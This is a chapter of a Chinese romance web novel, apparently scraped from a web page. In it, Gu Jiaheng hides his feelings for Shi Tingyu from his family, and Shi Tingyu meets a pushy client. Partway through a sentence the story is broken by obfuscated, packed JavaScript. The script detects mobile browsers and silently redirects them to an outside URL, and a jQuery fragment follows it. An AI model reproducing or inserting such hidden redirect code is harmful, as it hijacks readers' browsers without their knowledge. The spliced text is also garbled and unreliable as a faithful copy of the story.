顾嘉珩突然大脑有几秒钟的短路,他明明记得昨晚自己睡在了沙发上,猛地坐起来,房间里除了他并没有别人。 自己昨晚一点意识都没有,他不知道时听语是怎么把自己弄回床上的。 他听着外面有动静,立刻掀开被子下床,从卧室出来直奔厨房。 但看到厨房里的人是顾书颜后,心里那仅有的几分窃喜也荡然无存。 “你怎么进来的?” 顾书颜正专注从砂锅里舀着粥,看都没有朝他这边看一眼:“你怎么把家里的密码换了?得亏我今天带了钥匙。” 她的话倒是提醒了顾嘉珩:“你一会儿走的时候把钥匙留下。” “呦,有情况啊?”顾书颜端着粥走过来,一把塞到他手上,瞥了一眼走出去,“到底是你老姐见不得人,还是你那个女朋友见不得人?” 说着也不知道她从哪里拿出来一张便利贴,举在手里朝着顾嘉珩面前晃了晃。 顾嘉珩认出来那是时听语的笔迹,他赶忙将粥放到一旁,上前拿过来那张字条。 “我上午有工作要处理,粥在锅里,你醒了再热一下就好。” 看完后他将字条攥在手里,扭头看向顾书颜:“你见到她了?” “没有啊。”顾书颜耸了一下肩,“我来的时候家里就没人,只有这个字条在餐桌上。” “想不到你这进展还挺快的嘛,什么时候带回家给爷爷他们看看。” 顾嘉珩听到顾书颜说没见到人,松了一口气,他又端回粥,坐下一口一口慢慢喝着。 他还暂时不能让家里知道关于时听语的事情,先不说他们俩之间目前的关系,他必须得解决掉家里的人态度,他不想让她受到什么伤害。 “说话啊。”顾书颜杵了一下他。 “现在还不合适。” 突然又想到了什么,顾嘉珩抬头盯着顾书颜:“姐,你能不能先不跟家里人说。” 不论是顾则淮还是顾老爷子,如果一旦他们知道,不管自己说不说,他们都会暗地里派人去调查对方的情况。 毕竟他母亲的例子就活生生摆在那里,他们不可能也不会允许他走自己母亲的老路,更何况这个人还是时听语。 顾书颜用手托着下巴,揶揄道:“这么宝贝你这女朋友啊。” “她就是普通人,我不想爷爷和舅舅在背后干涉什么,我怕她会不高兴。” “这点你可以放心,你跟我不一样,爷爷根本不在意对方家世背景,只要你喜欢,只要对方品行好,他们都不会反对。”顾书颜说着突然像是被电流击中,脑海中浮现出一个人,她抿了下唇有些不敢置信的看向对面的人。 她问出的话都带有一丝不确定:“除非......你不会是......” 顾嘉珩看着她没说话。 “顾嘉珩!你疯了!”顾书颜拍着桌子站了起来,“你知不知道是她害死的姑姑。” “姐,我最近总在想,当初她大概有什么事情瞒着我。” 顾书颜嗤笑一声:“你别傻了好吗?当初你就说要回去找她,好,可你回去的结果呢?出事后人家一早就退学搬家了,她从头到尾根本就没有在意过你,她不只欠你一个解释,也欠我们家一个解释。” 顾书颜说的是实话,可真话也猝不及防地掀开了顾嘉珩内心里最血肉模糊的那块,他一直想问为什么,十年前是,现在也是。 顿了几秒,顾嘉珩起身,叹口气说道:“姐,我会处理好这些事情的,但你能不能先不跟爷爷他们说,求你了。” 顾书颜的心骤然疼了一下,她太了解自己这个弟弟了,从小到大从不求人,唯一的一次是当初求她打掩护让自己回一趟陵江,这是第二次,两次竟然全都是为了那样的一个女生。 “好,但我不说,他们早晚也会知道。”顾书颜说完从包里掏出钥匙一把扔在了餐桌上,“我今天来是因为爷爷中午订了餐厅吃饭,让我来叫你,地址我一会儿发你手机,去不去由你。” 说完头也不回离开了家里。 顾嘉珩看了一眼桌上的钥匙,他知道这大概只是个开始。 * 时听语一早就回了工作室,整个人哈气连天,咖啡一杯接着一杯当水喝。 “昨晚又失眠了?”孟砚舟问。 不算是失眠,是她昨晚就根本没睡。 听着客厅没了动静后她才出来,看见顾嘉珩一个人缩在沙发那里,毯子也被他蹬开,无奈叹了口气。 她走上前轻轻推了推顾嘉珩,想要叫他起来去卧室睡,可能是药效促使,对方睡的很沉。 时听语没有办法,只能准备自己上手,她有心理准备,但是还是低估了一个睡死的成年男人的重量,架着他起身的时候差一点连人带她一起栽到地上。 还好顾嘉珩睡的死,她废了半天劲才终于把人拖到了床上,自己也是出了一身汗。 她重新把被子严严实实给他盖好,就这么坐在一旁看着他。 吃了药之后势必会发一些汗,她怕顾嘉珩再蹬开被子,反正也睡不着,就这样一直坐到了天亮才去厨房熬粥。 时听语将杯子里最后的咖啡喝完:“还好。” “安眠药你别总吃,会有抗药性的。” 她点了点头,她知道孟砚舟也是为了她好。 “那我们收拾一下,去见小宋总。” 时听语一早就收到孟砚舟的消息,说约了明澜集团的小宋总中午吃饭。 时间也不早了,两个人收拾了一下,开车前往约好的餐厅。 对方的秘书一早就等在了门口,见时听语他们下车,连忙过来打招呼。 “时小姐,孟先生,您好。我是小宋总的秘书舒明。” 客气打过招呼,舒明领着两人往里面订好的包厢里走去,孟砚舟像平常谈生意一样跟对方交谈着,时听语等在电梯前无聊着张望着四周,忽然一个熟悉的身影从前面闪过,她下意识愣了一下。 “听听?怎么了?” 她还没来得及看仔细,电梯就稳稳停在了面前,她摇摇头,跟着他们进了电梯。 宋思明已经在包厢里等了很久,见到两人进来,忙起身过来笑着握手。 “时小姐,久仰大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427323|169002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名。”宋思明上下打量了一眼时听语,“时小姐本人比电视上还要好看。” 时听语只稍稍回握了一下就收回了手,淡淡笑了一下:“小宋总过誉了。” “快坐吧,服务员拿一下菜单,两位不要客气,想吃什么就点什么。” 时听语拿着菜单悄悄看了一眼身旁的孟砚舟,孟砚舟立刻明白了她的意思,他笑着说道:“这里想必小宋总比我们更熟悉,您来点就好。” 见对方这么说,宋思明也没推脱,伸手招呼过来服务员,一番流利的点完了餐。 时听语端起杯子浅浅喝了一口水,她说不上来为什么,但是只第一次见,她就不是很喜欢宋思明这个人。 正思忖着一会要怎么拒绝掉才不会显得不礼貌,只见宋思明直接开口:“时小姐,早就听闻您在国际上的名气,这次也是好不容易等到您回国,我想以我个人名义请您帮我做一件陶艺品。” “价格方面都好说。” 如果说时听语最讨厌的人,大概就是宋思明这样的人,他看中的并不是自己的手艺或者每一件艺术品背后的含义,他看上的不过是自己的署名罢了。 “小宋总,我最近的工作有点多......” 时听语话还没说完就被宋思明打断:“我没有那么着急要,我爸妈30周年的结婚纪念日在6月份,我是想作为礼物送给他们的,他们这一路走来风风雨雨的,能到今日也不容易。” 本来想要拒绝,但是听见宋思明是想要送给自己父母,忽然又动了恻隐之心。 她虽然不喜欢宋思明这类人,但是他想孝顺父母的心还是没什么错的。 “那您对成品有什么要求吗?或者寓意之类的。” 听见时听语这么问,宋思明自觉这件事问题不大:“我完全尊重您的创作,只要能表现出我父母携手同行就好。” “好,那我回去先想一下,有了设计图再联系您。” “没问题,真是没想到时小姐这么好沟通,来我们干一杯。”宋思明举杯,“后续合同的事情我让小舒跟您经纪人谈。” “合作愉快。” 事情谈好,时听语也没什么心思留在这里吃饭,但碍于面子,还是演戏演了全部。 “小宋总,您看着饭也吃得差不多的,我们后面还有工作,就先走了。”孟砚舟看了一眼手表,起身朝宋思明伸过去手。 “好,我也吃得差不多了,也该回公司了,一起走吧。” 四个人一起走出包厢,刚拐过长廊,孟砚舟一摸兜发现自己车钥匙落在了包厢里。 宋思明见状:“小舒,你领着孟经纪人回去拿,我们在这里等。” 看着舒明陪着孟砚舟离开,时听语稍稍不经意往旁边站了站,跟宋思明隔开了一些距离。 可宋思明却朝她这边走了两步,笑着问:“冒昧问一下,时小姐是单身吗?” “她不是。” 时听语并没有开口,但一道熟悉的声音从身后传过来,她回头看过去,果然刚才自己不是眼花。 顾嘉珩插着兜站在不远处,手上还在把玩着打火机,火焰亮起又熄灭,脸上的神情让人捉摸不透。 “呦,这么巧啊。”宋思明突然勾唇笑了一下,收回视线看向时听语,“时小姐,你们认识?” 看着顾嘉珩走近,时听语咽了一下口水,一种不好的预感在心里萦绕。 见时听语不说话,顾嘉珩垂着眼盯着她,语气冷得不掺杂一丝情绪:“你怎么跟他在一起?” “看来你们也不怎么熟嘛?” 宋思明挑了下眉,一副若有所思的眼神看向顾嘉珩,薄唇翕动,似是挑衅一般开口。 “你说是不是,哥哥。”